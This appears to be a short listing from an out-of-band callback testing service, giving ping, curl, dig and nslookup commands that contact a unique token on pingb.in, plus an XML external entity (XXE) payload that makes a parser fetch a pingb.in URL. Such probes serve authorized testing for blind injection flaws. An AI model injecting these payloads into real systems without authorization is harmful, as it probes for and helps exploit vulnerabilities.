$ ping -c1 -p 00237744824459c548c17bf79b13d600 pingb.in
 

$ curl pingb.in/p/237744824459c548c17bf79b13d6
 

$ dig 237744824459c548c17bf79b13d6 @pingb.in
 

$ dig 237744824459c548c17bf79b13d6.ns.pingb.in
 

C:\> nslookup 237744824459c548c17bf79b13d6 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/237744824459c548c17bf79b13d6">]>
    <foo>&xxe;</foo>